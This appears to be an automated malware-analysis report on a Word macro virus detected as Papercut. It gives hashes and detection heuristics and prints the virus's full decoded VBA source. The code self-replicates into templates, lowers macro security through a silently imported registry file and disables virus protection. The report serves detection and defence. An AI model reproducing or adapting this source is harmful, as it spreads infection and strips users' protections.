Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68bb4fe6f0ba2e89…

MALICIOUS

Office (OLE)

37.0 KB Created: 2001-03-28 07:46:00 Authoring application: Microsoft Word 10.0 First seen: 2015-09-30
MD5: a6efc20401835168dcbf7a05ea624ea0 SHA-1: 4ddb8364db0a4ce68e5a62dc4cb777ac3fbf3850 SHA-256: 68bb4fe6f0ba2e897a625c9e32b259a9b374bf32a07fd7715fe32d625187b7ee
448 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1140 Deobfuscate or Decode Files or Information T1071.001 Web Protocols

The sample contains heavily obfuscated VBA macros with a Document_Open auto-execution loader. Heuristics indicate the macros attempt to self-replicate, tamper with AV settings via registry modifications, and use CreateObject/GetObject calls, suggesting an intent to download and execute a second-stage payload. The VBA code attempts to write to the registry keys HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\CodeForeColors and HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\CodeBackColors.

Heuristics 9

  • ClamAV: Doc.Trojan.Papercut-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Papercut-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "regedit /s c:\base.reg", vbHide
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set WordObj = GetObject(, "Word.Application")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    dis.deletelines 1, dis.countoflines
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WordObj = CreateObject("Word.Application")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set WordObj = GetObject(, "Word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8197 bytes
SHA-256: 9552a6c4bfaaa90b112270fd28430637b4de9b708428197aae8b52779ce95119
Detection
ClamAV: Doc.Trojan.Papercut-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'
On Error Resume Next
Set a = Application: e = a.Version:
wo = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(87) + Chr(111) + Chr(114) + Chr(107) + Chr(98) + Chr(111) + Chr(111) + Chr(107)
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
p = 0
Set act = ActiveWorkbook.VBProject.VBComponents(wo).CodeModule
Set dis = ThisWorkbook.VBProject.VBComponents(wo).CodeModule
End If
If a <> Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
p = 1
Set act = ActiveDocument.VBProject.VBComponents.Item(p).CodeModule
Set dis = NormalTemplate.VBProject.VBComponents.Item(p).CodeModule
If dis.Lines(2, 1) <> "'" Then
dis.deletelines 1, dis.countoflines
dis.insertlines 1, act.Lines(1, act.countoflines)
dis.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 0 1 1 1 1 0 0 0 0 0 0 0 0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 0 1 1 0 0 0 0 0 0 0 0 0 0 0"

End If
End If
If act.Lines(2, 1) <> "'" Then
act.deletelines 1, act.countoflines
act.insertlines 1, dis.Lines(1, dis.countoflines)
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
ActiveWorkbook.Save
Else
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
Drop = "true"
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
crossQuit = True
Set ohio = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
If ohio.Lines(2, 1) <> "'" Then
WordObj.Options.SaveNormalPrompt = False
ohio.deletelines 1, ohio.countoflines
ohio.insertlines 1, dis.Lines(1, dis.countoflines)
ohio.Replaceline 1, "Private Sub Document_Open"
ohio.Save
End If
If crossQuit = True Then WordObj.Quit
End If
End If
If a <> Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
ra = Dir("c:\papercut.reg")
If ra = "" Then Drop = "true"
If Drop <> "true" Then GoTo hd300
Set xlapp = CreateObject("Excel.Application")
Set book1Obj = xlapp.Workbooks.Add
chk = Dir(xlapp.Application.StartupPath & "\Book1.xls")
If chk = "" Then
book1Obj.VBProject.VBComponents.Item(wo).CodeModule.insertlines 1, dis.Lines(1, dis.countoflines)
book1Obj.VBProject.VBComponents.Item(wo).CodeModule.Replaceline 1, "Private Sub Workbook_Deactivate()"
book1Obj.SaveAs xlapp.Application.StartupPath & "\Book1.xls"
book1Obj.Close
Drop = "true"
End If
xlapp.Quit

End If
hd300:
If Drop = "true" Then
Open "c:\base.reg" For Output As 1
Print #1, Chr(82) + Chr(69) + Chr(71) + Chr(69) + Chr(68) + Chr(73) + Chr(84) + Chr(52)
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(56) + Chr(46) + Chr(48) + Chr(92) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) + Chr(93)
Print #1, """Options6""=dword:00000000"
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(57) + Chr(46) + Chr(48) + Chr(92) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(93)
Print #1, """Level""=dword:00000001"
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(93)
Print #1, """Level""=dword:00000001"
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(76) + Chr(79) + Chr(67) + Chr(65) + Chr(76) + Chr(95) + Chr(77) + Chr(65) + Chr(67) + Chr(72) + Chr(73) + Chr(78) + Chr(69) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(93)
Print #1, """AccessVBOM""=dword:00000001"
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(87) + Chr(111) + Chr(114) + Chr(100) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(93)
Print #1, """Level""=dword:00000001"
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(76) + Chr(79) + Chr(67) + Chr(65) + Chr(76) + Chr(95) + Chr(77) + Chr(65) + Chr(67) + Chr(72) + Chr(73) + Chr(78) + Chr(69) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(87) + Chr(111) + Chr(114) + Chr(100) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(93)
Print #1, """AccessVBOM""=dword:00000001"
Close 1
Shell "regedit /s c:\base.reg", vbHide
End If
'XP/Base
'all your officeXP
'are belong to us
'[aSt]
If p = 1 And e <> "10.0" Then
CommandBars("Tools").Controls("Macro").Enabled = False
Options.VirusProtection = (Rnd * 0)
End If
End Sub

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